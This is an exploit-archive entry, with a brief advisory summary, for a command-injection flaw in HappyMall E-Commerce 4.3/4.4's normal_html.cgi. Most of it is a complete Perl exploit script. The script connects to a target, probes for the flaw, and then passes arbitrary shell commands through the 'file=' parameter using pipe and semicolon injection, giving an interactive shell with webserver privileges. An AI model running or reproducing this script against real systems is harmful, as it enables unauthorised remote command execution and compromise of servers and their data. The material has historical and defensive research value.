source: https://www.securityfocus.com/bid/7529/info

It has been reported that a problem in the HappyMall E-Commerce software package could allow an attacker to pass arbitrary commands through the normal_html.cgi script. This could lead to attacks against system resources. 

##########################################################
# HappyMail explo
# vulnerable:
# HappyCGI HappyMall 4.3
# HappyCGI HappyMall 4.4
#
#
# www.spabam.org spabam.tk spabam.da.ru go.to/spabam
# Spawn bash style Shell with webserver uid
#
# Spabam 2003 PRIV8 code
# #hackarena irc.brasnet.org
# This Script is currently under development
#####################################################

use strict;
use IO::Socket;
my $host;		
my $port;		
my $command;		
my $url;	
my $shiz;		
my @results;		
my $probe;		
my @U;			
$U[1] = "/shop/normal_html.cgi?file=|";
$U[2] = "/shop/normal_html.cgi? file=;";

&intro;
&scan;
&choose;
&command;
&exit; 
sub intro {
&help;
&host;
&server;
sleep 3;
};
sub host {
print "\nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
$shiz = "|";
print "\nPort (enter to accept 80): ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};	
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
	$output = $results[$X];
	if (defined $output){
	if ($output =~/IIS/){ $webserver = "apache" };
	};
};
if ($webserver ne "apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
            }else{
print "\n\nOK";
	};		
};  
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "Testing string ONE and TWO";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) { 
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
                              $flag = "1";
			      $status = "vulnerable";
			      };
	};
if ($flag eq "0") { 
}else{
     };
};
if ($status eq "not_vulnerable"){

				};
}; 
sub choose {
print "\nSelect a URL (type 0 to input)";
my $choice=<STDIN>;
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
}; 
sub other {
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
};  
sub command {
while ($command !~/quit/i) {
print "\nHELP QUIT URL SCAN Or Command

\n[$host]\$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose }; 
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g; 
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};  
sub connect {
my $connection = IO::Socket::INET->new (
				Proto => "tcp",
				PeerAddr => "$host",
				PeerPort => "$port",
				) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command$shiz HTTP/1.0\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.0\r\n\r\n";
};

while ( <$connection> ) { 
			@results = <$connection>;
			 };
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};  
sub output{
print "\nOUTPUT FROM $host. \n\n";
my $display;
if ($probe eq "string") {
			my $X;
			for ($X=0; $X<=10; $X++) {
			$display = $results[$X];
			if (defined $display){print "$display";};
			sleep 1;
				};
			}else{
			foreach $display (@results){
			    print "$display";
			    sleep 1;
				};
                          };
};  
sub exit{
print "\n\n\n



ANDREA SPABAM 2002.";
print "\nspabam.da.ru spabam\@go.to";
print "\n\n\n";
exit;
};
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n
        HappyMall E-Commerce Software Normal_HTML.CGI 
        Command Execution Vulnerability by SPABAM 2003" ;
print "\n
";
print "\n HappyMail Exploit v0.9.9b";
print "\n 

note.. web directory is normally /var/www/html";
print "\n";
print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "\n Command: SCAN URL HELP QUIT";
print "\n\n\n\n\n\n\n\n\n\n\n";
};